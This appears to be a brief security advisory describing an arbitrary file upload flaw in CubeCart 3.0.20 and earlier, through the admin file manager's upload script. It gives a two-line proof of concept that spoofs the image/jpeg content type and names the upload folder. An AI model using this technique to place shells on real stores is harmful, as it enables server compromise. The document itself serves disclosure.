CubeCart 3.0.20 Shell Upload

`1. OVERVIEW  
  
CubeCart 3.0.20 and lower versions are vulnerable to Arbitrary File Upload.  
  
  
2. BACKGROUND  
  
CubeCart is an "out of the box" ecommerce shopping cart software  
solution which has been written to run on servers that have PHP &  
MySQL support. With CubeCart you can quickly setup a powerful online  
store which can be used to sell digital or tangible products to new  
and existing customers all over the world.  
  
  
3. VULNERABILITY DESCRIPTION  
  
CubeCart 3.0.20 and lower versions contain a flaw related to the  
/admin/filemanager/upload.php script's failure to properly validate  
uploaded files. This may allow a remote attacker to upload arbitrary  
files and execute arbitrary code via a request to the 'atm-regen'  
parameter.  
  
  
4. VERSIONS AFFECTED  
  
3.0.20 and lower (aka 3.0.x family)  
  
  
5. PROOF-OF-CONCEPT/EXPLOIT  
  
Set content type to image/jpeg and upload.  
Uploaded files are stored at images/uploads.
